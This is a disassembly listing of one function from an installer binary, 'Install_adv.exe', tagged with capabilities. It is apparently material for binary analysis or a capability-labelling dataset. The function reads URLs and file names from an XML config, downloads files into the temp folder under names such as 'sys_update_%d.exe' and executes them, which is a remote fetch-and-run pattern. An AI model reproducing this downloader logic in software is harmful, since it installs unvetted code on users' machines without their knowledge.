Function at 0x499990
Capabilities:
Create process on windows
Download url
Get common file path
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4aa511
mov eax, dword fs:[0]
push eax
mov eax, 0x1230
call fcn.00479690
mov eax, dword [0x4e100c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x121c], ecx
push str.Setup
mov ecx, dword [ebp - 0x121c]
add ecx, 0x45c
call sym.Install_adv.exe_public:_int___thiscall_CNsXml::GetXmlNodeCount_wchar_t_const__
mov dword [ebp - 0x1238], eax
mov dword [ebp - 0x1220], 0x1000
lea ecx, [ebp - 0x1224]
call fcn.00409500
mov dword [ebp - 4], 0
lea eax, [ebp - 0x1218]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov dword [ebp - 0x1228], 0
mov dword [ebp - 0x122c], 0
jmp 0x499a34
mov ecx, dword [ebp - 0x122c]
add ecx, 1
mov dword [ebp - 0x122c], ecx
mov edx, dword [ebp - 0x122c]
cmp edx, dword [ebp - 0x1238]
jge 0x499cb8
mov eax, dword [ebp - 0x1220]
push eax
push 0
lea ecx, [ebp - 0x1010]
push ecx
call fcn.004307d0
add esp, 0xc
lea edx, [ebp - 0x1228]
push edx
lea eax, [ebp - 0x1010]
push eax
push str.CheckY
mov ecx, dword [ebp - 0x121c]
add ecx, 0x45c
call sym.Install_adv.exe_public:_int___thiscall_CNsXml::GetXmlNodeValue_wchar_t_const___wchar_t___int__
lea ecx, [ebp - 0x1010]
push ecx
call sym.Install_adv.exe_int___cdecl_CheckInstalled_wchar_t_const__
add esp, 4
test eax, eax
je 0x499a97
jmp 0x499a25
mov edx, dword [ebp - 0x1220]
push edx
push 0
lea eax, [ebp - 0x1010]
push eax
call fcn.004307d0
add esp, 0xc
lea ecx, [ebp - 0x1228]
push ecx
lea edx, [ebp - 0x1010]
push edx
push str.CheckN
mov ecx, dword [ebp - 0x121c]
add ecx, 0x45c
call sym.Install_adv.exe_public:_int___thiscall_CNsXml::GetXmlNodeValue_wchar_t_const___wchar_t___int__
lea eax, [ebp - 0x1010]
push eax
call sym.Install_adv.exe_int___cdecl_CheckInstalled_wchar_t_const__
add esp, 4
test eax, eax
je 0x499aeb
jmp 0x499a25
mov ecx, dword [ebp - 0x1220]
push ecx
push 0
lea edx, [ebp - 0x1010]
push edx
call fcn.004307d0
add esp, 0xc
lea eax, [ebp - 0x1228]
push eax
lea ecx, [ebp - 0x1010]
push ecx
push str.WebPath
mov ecx, dword [ebp - 0x121c]
add ecx, 0x45c
call sym.Install_adv.exe_public:_int___thiscall_CNsXml::GetXmlNodeValue_wchar_t_const___wchar_t___int__
lea edx, [ebp - 0x1010]
push edx
lea ecx, [ebp - 0x1230]
call fcn.004093e0
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x1220]
push eax
push 0
lea ecx, [ebp - 0x1010]
push ecx
call fcn.004307d0
add esp, 0xc
lea edx, [ebp - 0x1228]
push edx
lea eax, [ebp - 0x1010]
push eax
push str.SaveName
mov ecx, dword [ebp - 0x121c]
add ecx, 0x45c
call sym.Install_adv.exe_public:_int___thiscall_CNsXml::GetXmlNodeValue_wchar_t_const___wchar_t___int__
lea ecx, [ebp - 0x1010]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x499bae
lea edx, [ebp - 0x1010]
push edx
lea eax, [ebp - 0x1218]
push eax
push str._s_s
lea ecx, [ebp - 0x1224]
push ecx
call fcn.00409ab0
add esp, 0x10
jmp 0x499bd0
mov edx, dword [ebp - 0x122c]
push edx
lea eax, [ebp - 0x1218]
push eax
push str._s_sys_update__d.exe
lea ecx, [ebp - 0x1224]
push ecx
call fcn.00409ab0
add esp, 0x10
push 0x4c7de0
push 0x4c7de4
lea ecx, [ebp - 0x1224]
call fcn.0040db10
push 0
push 0
lea ecx, [ebp - 0x1224]
call sym.Install_adv.exe_public:_char_const____thiscall_Json::StaticString::operator_char_const__void_const
push eax
lea ecx, [ebp - 0x1230]
call sym.Install_adv.exe_public:_char_const____thiscall_Json::StaticString::operator_char_const__void_const
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov dword [ebp - 0x123c], eax
cmp dword [ebp - 0x123c], 0
jne 0x499ca4
mov edx, dword [ebp - 0x1220]
push edx
push 0
lea eax, [ebp - 0x1010]
push eax
call fcn.004307d0
add esp, 0xc
lea ecx, [ebp - 0x1228]
push ecx
lea edx, [ebp - 0x1010]
push edx
push str.Params
mov ecx, dword [ebp - 0x121c]
add ecx, 0x45c
call sym.Install_adv.exe_public:_int___thiscall_CNsXml::GetXmlNodeValue_wchar_t_const___wchar_t___int__
lea eax, [ebp - 0x1010]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x499c8a
push 5
push 0
lea ecx, [ebp - 0x1010]
push ecx
lea ecx, [ebp - 0x1224]
call sym.Install_adv.exe_public:_char_const____thiscall_Json::StaticString::operator_char_const__void_const
push eax
call sym.Install_adv.exe_int___cdecl_DoRun_wchar_t_const___wchar_t_const___int__int_
add esp, 0x10
jmp 0x499ca4
push 5
push 0
push 0
lea ecx, [ebp - 0x1224]
call sym.Install_adv.exe_public:_char_const____thiscall_Json::StaticString::operator_char_const__void_const
push eax
call sym.Install_adv.exe_int___cdecl_DoRun_wchar_t_const___wchar_t_const___int__int_
add esp, 0x10
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x1230]
call fcn.004093c0
jmp 0x499a25
mov edx, dword [ebp - 0x1220]
push edx
push 0
lea eax, [ebp - 0x1010]
push eax
call fcn.004307d0
add esp, 0xc
lea ecx, [ebp - 0x1010]
push ecx
push str.showmsg
mov ecx, dword [ebp - 0x121c]
add ecx, 0x45c
call sym.Install_adv.exe_public:_int___thiscall_CNsXml::GetXmlNodeValue_wchar_t_const___wchar_t__
lea edx, [ebp - 0x1010]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x499d75
lea eax, [ebp - 0x1010]
push eax
lea ecx, [ebp - 0x1234]
call fcn.004093e0
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x1220]
push ecx
push 0
lea edx, [ebp - 0x1010]
push edx
call fcn.004307d0
add esp, 0xc
lea eax, [ebp - 0x1010]
push eax
push str.showtitle
mov ecx, dword [ebp - 0x121c]
add ecx, 0x45c
call sym.Install_adv.exe_public:_int___thiscall_CNsXml::GetXmlNodeValue_wchar_t_const___wchar_t__
push 0
lea ecx, [ebp - 0x1010]
push ecx
lea ecx, [ebp - 0x1234]
call sym.Install_adv.exe_public:_char_const____thiscall_Json::StaticString::operator_char_const__void_const
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x1234]
call fcn.004093c0
mov edx, dword [ebp - 0x1220]
push edx
push 0
lea eax, [ebp - 0x1010]
push eax
call fcn.004307d0
add esp, 0xc
lea ecx, [ebp - 0x1010]
push ecx
push str.showurl
mov ecx, dword [ebp - 0x121c]
add ecx, 0x45c
call sym.Install_adv.exe_public:_int___thiscall_CNsXml::GetXmlNodeValue_wchar_t_const___wchar_t__
lea edx, [ebp - 0x1010]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x499dd5
push 5
push 0
push 0
lea eax, [ebp - 0x1010]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1224]
call fcn.004093c0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0042eb1e
mov esp, ebp
pop ebp
ret